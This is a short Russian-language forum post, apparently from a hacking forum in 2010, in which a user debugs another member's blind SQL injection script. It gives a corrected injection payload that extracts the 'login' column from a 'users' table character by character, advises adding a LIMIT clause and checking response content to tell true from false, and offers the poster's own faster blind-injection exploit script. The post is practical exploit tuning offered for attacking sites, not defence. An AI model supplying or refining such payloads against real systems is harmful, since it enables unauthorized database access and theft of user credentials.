
23.03.2010, 17:41
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Мельком глянул, пока увидел:
Код:
$script="' and substring((select login from users),$pos,1)='$char[$i]'/*";
Это может вызывать ошибку, дело в том что в подзапросах нужно ограничивать число результатов - должен быть строго 1 результат, юзай limit:
Код:
$script="' and substring((select login from users limit 0,1),$pos,1)='$char[$i]'/*";
или where userid=1 и т.д.
Далее:
Код:
if(strlen($response)==324)
{
echo $char[$i];
}
Я так понял правильность выполнения запроса ты определяешь по размеру ответного пакета - лучше определяй по наличию/отсутствию текста в получаемом пакете (если есть такая возможность).
P.S. лучше попробуй использовать мой скрипт для блинда как сплоент - он оптимизирован, скорость будет выше. Могу помочь заточить его под сплоент если что.
|
|
|